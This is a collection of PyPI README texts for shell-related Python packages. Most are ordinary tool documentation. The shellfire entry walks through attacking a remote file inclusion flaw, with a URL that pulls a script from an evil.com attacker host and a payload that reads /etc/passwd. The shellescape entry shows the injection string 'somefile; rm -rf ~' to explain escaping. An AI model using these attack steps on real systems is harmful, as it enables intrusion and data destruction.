Saravanan666/pypi-org huggingface dataset:
Package: shellcord
ShellcordGenerate runbooks and READMEs from your shell sessions.InstallationUsageSupported platformsNote that this tool is in alpha and still not thoroughly tested on shells/platforms besides the following:Python3.73.9Operating systemsLinux5.11.0-49-generic x86_64 GNU/LinuxShellsConfirmed working in:zsh:zsh 5.8 (x86_64-ubuntu-linux-gnu)bash:GNU bash, version 5.1.4(1)-release (x86_64-pc-linux-gnu)LimitationsIdeally, this tool would be a simple invocation ofscriptwith some logic to generate a runbook from that typescript file. However, given thatscriptonly uses a psuedo-terminal, getting the exit code is non-trivial without basically making your own shell. So we do the next best thing and use each individual shellsprecmd/PROMPT_COMMANDinstead.Currently, shellcord collects:The command being runThe exit code of that commandIdeally though, it would also be able to get stdout so the generated runbook has example output.DevelopmentThis tool is currently under development and any support is more than welcome, especially if you want to get shellcord working in your shell of choice.Please cut issues as you see fit based on usage and feel free to send pull-requests.TestingRun the testspoetry run python3 -m pytestHow it worksShellcord works by modifying the shell'sprecmd/PROMP_COMMANDor whatever equivalent with our own function which will:Generate a unique id for each commandGet the exit code of the last command runGet the actual command which was run lastDump all that data to ascord-logfileOnce all the command data has been collected, shellcord will then use thescord-logfile to generate a runbook based on the parameters selected.Componentsinit.sh: Used to setup a scord session and modify precmdde-init.sh: Used to close the session and undo all the precmd workshellcord.py: Used to generate runbooks and tag commands
Package: shell-database
Shell DatabaseA key value store straight from your terminal.InstallationYou can install shell-database frompypi.org:> pip install shell_databaseGetting startedAdding a new key value pair> shdb add name "John Doe"Adding a new key value pair with encryption> shdb add password <your_password> --encryptGetting the value of a key> shdb get nameJohn DoeDecrypting and encrypted value> shdb get passwordb'51b8684c4dc77da0979f1b647caa707c'> shdb get password --decrypt<your_password>Integrating with other tools> shdb add az-rg azure-resource-group-123> az postgres db create --resource-group $(shdb get az-rg) --server-name server_name --name databaseLicenseMIT LicenseDisclaimerTHE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
Package: shelldoc
InstallationJustpip install shelldocUsageusage: shelldoc [-h] -f FILES [FILES ...] [-d DEST]

Generate documentation from shell script

optional arguments:
  -h, --help            show this help message and exit
  -f FILES [FILES ...], --files FILES [FILES ...]
                        Files to generate documentation from
  -d DEST, --dest DEST  Directory to generate documentation in. ./docs by defaultSpecificationsThis documentation generation tool is based onGoogle Shell Style GuideFor example :######################################## Get configuration directory.# Globals:#   SOMEDIR# Arguments:#   None# Outputs:#   Writes location to stdout# See:#   https://stackoverflow.com/questions/59895/getting-the-source-directory-of-a-bash-script-from-within#   del_thing#######################################The following parameters are available :GlobalsArgumentsOutputsReturnsSeeRaisesAlso, theTODOare parsed.
Package: shelldon
Shelldon========###Python-wrapper of Bash (whut)Table of Content----------------- [Introduction](#intro)- [Installation](#install)- [Usage](#usage)- [License](#license)- [Support](#support)Introduction<a name='intro'></a>--------------------------------Whuttttt. A Python-wrapper for Bash? You know how you want to sometimes make some shell commands from Python? And then you go for:```pythonimport subprocess# Normally you do this from a Python scriptsubprocess.call(['git', 'add', '--all']```I find that way, way too much to type. Also, why put it into a form of a list?Why can't we just write `subprocess.call('git add --all')`?Installation<a name='install'></a>----------------------------------Just install the Raw shelldon.py. Then, add it to your Python Path, like this:```shellexport PYTHONPATH=$PYTHONPATH:/~/path/to/the/shelldon.py```Test it by opening your Python shell.```>>> import shelldon>>> # It works!```Usage<a name='usage'></a>-------------------------**Normal script use:**```pythonimport shelldonshelldon.call('git add --all') # So simple isn't it?!```**Or, if you want to have multiple commands bundled together:**```pythonshelldon.call("""git add --allgit commit -m 'Initial commit'git push origin master""")```**Terminal use:**```python>> import shelldon>> shelldon.terminal()~$ >> lsDesktop         ProgramsDocuments       PublicDownloadsMusicPictures~$ >> cd Desktop~/Desktop$ >> quit # Use this command to quit shelldon's terminal>> print 'yay to using shell in Python!' # Back to Python interpreter```License<a name='license'></a>-----------------------------The following code is released under the MIT license. See above for it.Support<a name='support'></a>-----------------------------If you have any questions/concerns, please feel free to contact me.My email address is guanhao3797@gmail.com**Will update README once project is more substantial.**
Package: shellescape
shellescapeDescriptionThe shellescape Python module defines theshellescape.quote()function that returns a shell-escaped version of a Python string.  This is a backport of theshlex.quote()function from Python 3.8 that makes it accessible to users of Python 3 versions < 3.3 and all Python 2.x versions.quote(s)From the Python documentation:Return a shell-escaped version of the string s. The returned value is a string that can safely be used as one token in a shell command line, for cases where you cannot use a list.This idiom would be unsafe:>>>filename='somefile; rm -rf ~'>>>command='ls -l{}'.format(filename)>>>print(command)# executed by a shell: boom!ls-lsomefile;rm-rf~quote()lets you plug the security hole:>>>command='ls -l{}'.format(quote(filename))>>>print(command)ls-l'somefile; rm -rf ~'>>>remote_command='ssh home{}'.format(quote(command))>>>print(remote_command)sshhome'ls -l '"'"'somefile; rm -rf ~'"'"''The quoting is compatible with UNIX shells and withshlex.split():>>>remote_command=split(remote_command)>>>remote_command['ssh','home',"ls -l 'somefile; rm -rf ~'"]>>>command=split(remote_command[-1])>>>command['ls','-l','somefile; rm -rf ~']UsageIncludeshellescapein your project setup.py fileinstall_requiresdependency definition list:setup(...install_requires=['shellescape'],...)Then import thequotefunction into your module(s) and use it as needed:#!/usr/bin/env python# -*- coding: utf-8 -*-fromshellescapeimportquotefilename="somefile; rm -rf ~"escaped_shell_command='ls -l{}'.format(quote(filename))LicenseLICENSE
Package: shellexecute
shellexecutepip install shellexecutefromshellexecuteimportexecutertn=execute(f"echo HI",send_confirmation=[("HI","y")],)Cross platform way to run shell commands using pexpect (wexpect on windows). VERY useful for installers where
you want to automate accepting prompts.To develop software, run. ./activate.shWindowsThis environment requires you to usegit-bash.LintingRun./lint.shto find linting errors usingpylint,flake8andmypy.Versions1.0.5: Fix coloram issue in non windows builds.1.0.4: Timeout is now set to None by default.
Package: shellextools
Adds Python functions/methods to the Windows context menupip install shellextoolsHere are some examples:https://github.com/hansalemaos/ripgrepguihttps://github.com/hansalemaos/rc_collagehttps://github.com/hansalemaos/rc_pictoolshttps://github.com/githubrobbi/Ultra-Fast-File-SearchCreate a pyw filefromPILimportImagefromhackyargparserimportadd_sysargvfromshellextoolsimport(format_folder_drive_path_backslash,add_multicommands_files,change_file_extension,)importsys@add_sysargvdefmain(path:str="",action:str=""):path=format_folder_drive_path_backslash(path)img=Image.open(path)ifaction=="convert2ico":iconfi=change_file_extension(path=path,extension="ico")img.resize((512,512)).save(iconfi)ifaction=="convert2gray":iconfi=change_file_extension(path=path,prefix="gray_",extension="png")img.convert("L").save(iconfi)ifaction=="convert2bw":iconfi=change_file_extension(path=path,prefix="bw_",extension="png")img.convert("1").save(iconfi)return0if__name__=="__main__":iflen(sys.argv)==1:futurnameofcompiledexe="pictools.exe"multicommands=[{"mainmenuitem":"PicTools","submenu":"Convert to .ico","folderinprogramdata":"RCTools","filetypes":["bmp","png","jpg","jpeg"],"additional_arguments":"--action convert2ico",},{"mainmenuitem":"PicTools","submenu":"Convert to grayscale","folderinprogramdata":"RCTools","filetypes":["bmp","png","jpg","jpeg"],"additional_arguments":"--action convert2gray",},{"mainmenuitem":"PicTools","submenu":"Convert to bw","folderinprogramdata":"RCTools","filetypes":["bmp","png","jpg","jpeg"],"additional_arguments":"--action convert2bw",},]add_multicommands_files(multicommands,futurnameofcompiledexe)else:main()Compile it with nutikafromnutikacompileimportcompile_with_nuitkawholecommand=compile_with_nuitka(pyfile=r"C:\ProgramData\anaconda3\envs\nu\pictools.pyw",icon=r"C:\Users\hansc\Downloads\cova.jpg",disable_console=True,file_version="1.0.0.0",onefile=True,outputdir="c:\\nuitkapictoicon",addfiles=[],delete_onefile_temp=False,# creates a permanent cache folderneeds_admin=True,arguments2add="--msvc=14.3 --noinclude-numba-mode=nofollow",)
Package: shellfire
shellfireshellfireis an exploitation shell which focuses on exploiting command injection vulnerabilities. This can be useful when exploiting LFI, RFI, SSTI, etc.I originally started developing this script while working on my OSCP labs. As the capabilities grew, I thought maybe other people could find this as
useful as I have, so I decided to open source my tool.FeaturesPersistent named configuration for multiple targets (and sharing!)Plugin systemPHP payloadASP payloadInstallationThere are a few ways to install this tool. Shellfire is available via PyPI, so you can use pip.$ pip install shellfireFrom Kali Linux, you can even use apt.$ sudo apt install shellfireIf you'd like to build from source, you can use the standard Python setuptools to install this package.$ git clone https://github.com/unix-ninja/shellfire.git
$ cd shellfire
$ python setup.py installA few useful hintsAfter installing, you can just call 'shellfire' from your terminal.$ shellfire
[*] ShellFire v0.11
[*] Type 'help' to see available commands
(config)>You can typehelpat any time inside config mode for a list of available commands, or append
the command you want to know more information about to help for specific
details. For examplehelp http.Let's explore how to attack a basic RFI vulnerability!To start exploitation, you need to specify at least the URL parameter of your target.
Something like the following should work:(config)> url http://example.com/?path=http://evil.com/script.phpRunning any command now would cause your RFI to get executed on the remote target.Let's say you want to arbitrarily control the payloads going to the path paramter. This time, we will use{}to specify our injection point.(config)> url http://example.com/?path={}Before we can send our payloads, we must enter shell mode.(config)> shellNow, you can just type the payload you want to send and hit enter.(shell)> /etc/passwdYou can always type "exit" to return from shell mode, back to config mode.(shell)> exitAt this point, you should have enough to exploit easy vulnerabilities. Payloads you enter on the shell will be appropriately injected and sent over to your target.More complex vulnerabilities may require specifying additional options.
For example, let's assume you needed to send a cookie with a session ID in
order to exploit your target. You may want to add something like this:(config)> cookies { "session_id" : "123456789" }We can specify injection points in cookies too.(config)> cookies { "session_id" : "123456789", "vuln_param": "{}" }Additional options, and information on how to use them, can be discovered by
using thehelpoption in config mode.Thanks to Offensive-Security for inspiring the creation of this utility.Please use this tool for good.Happy hacking!TestingTesting is currently being done against thedvwa docker image.
Package: shellfmt
格式化shell脚本工具说明开发环境为 win7, 测试环境和生产环境均为linux，经常出现这样的问题：
在开发环境下写的shell脚本文件，发布到测试环境和生产环境，就会出现兼容问题，无法运行。安装及使用安装：pip install shellfmt使用：shellfmt --fname=myproject.sh或者对整个目录使用:shellfmt --fname=d:\projet\myshell
Package: shell-genie
🧞‍♂️ Shell GenieYour wishes are my commands.Shell Genie is a command-line tool that lets you interact with the terminal in plain English. You ask the genie what you want to do and it will give you the command you need.InstallationThe recommended way to install Shell Genie is usingpipx:Install Python 3.10 or higher.Installpipx.Install Shell Genie:pipx install shell-genieAlternatively, you can install it using pip:Install Python 3.10 or higher.Create a virtual environment in your preferred location:python -m venv .venvActivate the virtual environment:source .venv/bin/activateInstall Shell Genie:pip install shell-genieHow to useFirst, you need to initialize the tool by running the following command:shell-genieinitThis will prompt you to select a backend (eitheropenai-gpt3.5-turboorfree-genie) and provide any additional information that is required (e.g. your ownOpenAI APIkey foropenai-gpt3.5-turbo).Thefree-geniebackend is free to use. I'm hosting it, and as you can imagine I'm not a big corporation with unlimited money, so there's no guarantee that it will be available at all times. My goal is to generate a dataset of commands to fine-tune a model later on (this is mentioned during the initialization process).Once you have initialized the tool, you can start asking the genie what you want to do. For example, you may ask it to find all thejsonfiles in the current directory that are larger than 1MB:shell-genieask"find all json files in the current directory that are larger than 1MB"You'll see an output similar to this:Command:find.-name"*.json"-size+1M
Doyouwanttorunthiscommand?[y/n]:If you have questions about how the command works, you can ask the genie to explain it:shell-genieask"find all json files in the current directory that are larger than 1MB"--explainAnd you'll see an output similar to this:Command:find.-name"*.json"-size+1M
Description:Thiscommandwillsearchthecurrentdirectoryforall...(shortenedforbrevity)Doyouwanttorunthecommand?[y/n]:You can ask for commands in English or other languages, and the genie will try to provide you with a explanation in the same language.Run the command if you want to. If you're usingfree-genie, and you want to help improve the tool, you can provide feedback after you've run the command.Using an aliasIf you find that writingshell-genie askis too verbose, you can create an alias for the tool:echo"alias please='shell-genie ask'">>~/.bashrcsource~/.bashrcAnd now you can ask the genie usingplease:please"find all json files in the current directory that are larger than 1MB"ExamplesHere are two short videos showing how to use the tool:Ask genie for a commandAsk genie to explain a commandLimitationsAs you can imagine not all the commands provided by the genie work as expected. Use them at your own risk.LicenseThis project is licensed under the terms of the MIT license.
Package: shellgraph
shellgraphA simple tool to graph key distribution from stdinConfigLaunching the cli once will propagate ~/.tiny-elastic-cli.confUsagefor i in {1..1000}; do echo $(((RANDOM%10)+1 )); done | shellgraphInstallingpip install shellgraphLicense(The MIT License)Copyright (c) 2018 Einar Otto Stangvik <einaros@gmail.com>Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
'Software'), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to
permit persons to whom the Software is furnished to do so, subject to
the following conditions:The above copyright notice and this permission notice shall be
included in all copies or substantial portions of the Software.THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND,
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
Package: shell-history-analysis
Usage# Get the history file$history>history.txt# Install$pipinstallshell_history_analysis# You have to know which shell you have# This is important, because the `history` command has different outputs in# different shells.# Fish shell has only the command itself as an output.$shell_history_analysishistory.txt--shell=zsh
Assumedshell:zsh
Groupingfilepath:/home/moose/GitHub/shell-history-analysis/shell_history_analysis/grouping.yaml

CLIUtils2731git2498Python1536Editor(s)905SystemPackageManager271Dev-Tools203Docker187SystemManagement160mutmut153CLIPrograms88pipenv53clana43conda36exercism337z21hwrt21ShellScripting21pandoc21gzip20Name:base_command,dtype:int64
Writingimageto/home/moose/history.pngGrouping and AnonymizationYou can provide agrouping.yamlfile to group commands together. The default
is the following:'CLI Programs':-aspell-ffmpeg-ffprobe-dot-neato-fdp-circo-convert-md5sum-curl-wget-jq-netstat'CLI Utils':-mv-cd-..-...-ls-rm-grep-cat-cp-mkdir-head-tail-chmod-chown-watch-open-xdg-open-file-history-tree-touch-find-locate-ping-man-ln-wc-df-du-pwd-ll
Databases:-mysql-psql
Dev-Tools:-make-meld-diff-cookiecutter-cloc
Docker:-docker-docker-compose
Editor(s):-sublime-subl-vim-vi-spyder-spyder3-nano
Java:-mvn-java-javac
JS:-npm-node-ntl-yarn-nvm-lerna
Cloud:-az-aws
LaTeX:-pdflatex-tlmgr
Python:-python-python2-python3-pip-pip2-pip3-virtualenv-venv-black-isort-pylint-mypy-pytest-flask-pyenv-coverage-tox-flake8-twine-pydocstyle-pip-compile-pylama-pybabel-pep8-piprot-jupyter-alembic
Remote:-scp-ssh-ssh-keygen
Rust:-cargo'Shell Scripting':-for-date'System Management':-kill-killall-echo-export-env-ps-top-htop-atop-systemctl-sysctl-ip-ifconfig-which-sysbench-service-dmesg'System Package Manager':-apt-apt-get-apt-cache-update-alternatives-dpkg-add-apt-repository-brew-mas'Web Development':-ab-http-ng
git:-git-git-fame
Package: shellinford
shellinfordShellinford is an implementation of a Wavelet Matrix/Tree succinct data structure for document retrieval.It is based onshellinfordC++ library.NOTE: This module requires C++11 compilerInstallation$ pip install shellinfordUsageCreate a new FM-index instance>>>importshellinford>>>fm=shellinford.FMIndex()shellinford.Shellinford([use_wavelet_tree=True, filename=None])When given a filename, Shellinford loads FM-index data from the fileBuild FM-index>>>fm.build(['Milky Holmes','Sherlock "Sheryl" Shellingford','Milky'],'milky.fm')build([docs, filename])When given a filename, Shellinford stores FM-index data to the fileSearch word from FM-index>>>fordocinfm.search('Milky'):>>>print('doc_id:',doc.doc_id)>>>print('count:',doc.count)>>>print('text:',doc.text)doc_id:0count:[1]text:MilkyHolmesdoc_id:2count:[1]text:Milky>>>fordocinfm.search(['Milky','Holmes']):>>>print('doc_id:',doc.doc_id)>>>print('count:',doc.count)>>>print('text:',doc.text)doc_id:1count:[1]text:MilkyHolmessearch(query, [_or=False, ignores=[]])If_or= True, then “OR” search is executed, else “AND” searchGivenignores, “NOT” search is also executedNOTE: The search function is available after FM-index is built or loadedCount word from FM-index>>>fm.count('Milky'):2>>>fm.count(['Milky','Holmes']):1count(query, [_or=False])If_or= True, then “OR” search is executed, else “AND” searchNOTE: The count function is available after FM-index is built or loadedThis function is slightly faster than the search functionAdd a document>>>fm.push_back('Baritsu')push_back(doc)NOTE: A document added by this method is not available to search until buildRead FM-index from a binary file>>>fm.read('milky_holmes.fm')read(path)Write FM-index binary to a file>>>fm.write('milky_holmes.fm')write(path)Check Whether FM-Index contains string>>>'baritsu'infmLicenseWrapper code is licensed under the New BSD License.BundledshellinfordC++ library (c) 2012 echizen_tm is licensed under the New BSD License.CHANGES0.4.1 (2010-02-08)Make “in” operator faster0.4.0 (2018-09-30)FMIndex.count()is addedNo longer support Python 2.6bug fix0.3.5 (2018-09-05)FMIndex.build()andFMIndex.pushback()ignore empty stringFMIndexsupports “in” operator. (e.g., ‘a’ in fm)Support Python 3.5, 3.6 and 3.70.3.4 (2016-10-28)FMIndex.search()returns list0.3 (2014-11-24)“OR” search and “NOT” search are available inFMIndex.search().FMIndex.sizeandFMIndex.docsizeare available as property0.2 (2014-03-28)“AND” search is available by giving Sequence (list, tuple, etc.)FMIndex.search()0.1 (2014-03-11)First release.
Package: shellingham
Shellingham detects what shell the current Python executable is running in.Usage>>>importshellingham>>>shellingham.detect_shell()('bash','/bin/bash')detect_shellpokes around the process’s running environment to determine
what shell it is run in. It returns a 2-tuple:The shell name, always lowercased.The command used to run the shell.ShellDetectionFailureis raised ifdetect_shellfails to detect the
surrounding shell.NotesThe shell name is always lowercased.On Windows, the shell name is the name of the executable, minus the file
extension.Notes for Application DevelopersRemember, your application’s user is not necessarily using a shell.
Shellingham raisesShellDetectionFailureif there is no shell to detect,
butyour application should almost never do this to your user.A practical approach to this is to wrapdetect_shellin a try block, and
provide a sane default on failuretry:shell=shellingham.detect_shell()exceptshellingham.ShellDetectionFailure:shell=provide_default()There are a few choices for you to choose from.The POSIX standard mandates the environment variableSHELLto refer to
“the user’s preferred command language interpreter”. This is always available
(even if the user is not in an interactive session), and likely the correct
choice to launch an interactive sub-shell with.A commandshis almost guaranteed to exist, likely at/bin/sh, since
several POSIX tools rely on it. This should be suitable if you want to run a
(possibly non-interactive) script.All versions of DOS and Windows have an environment variableCOMSPEC.
This can always be used to launch a usable command prompt (e.g.cmd.exeon
Windows).Here’s a simple implementation to provide a default shellimportosdefprovide_default():ifos.name=='posix':returnos.environ['SHELL']elifos.name=='nt':returnos.environ['COMSPEC']raiseNotImplementedError(f'OS{os.name!r}support not available')
Package: shellinspector
Shell Inspector 🕵️‍️Open a shell session locally or via SSH, execute commands, and test what comes
back.First, prepare a spec file, e.g.readme.ispec:[@local]$~ ping -c1 google.com
1 packets transmitted
[@local]$ whoami
shellinspectorThen, run it:$ python -m shellinspector readme.ispec
running readme.console
PASS [@local]$~ ping -c1 google.com
FAIL [@local]$ whoami
expected:
    shellinspector
actual:
    lutoFor more details have a look atdocs/syntax.md.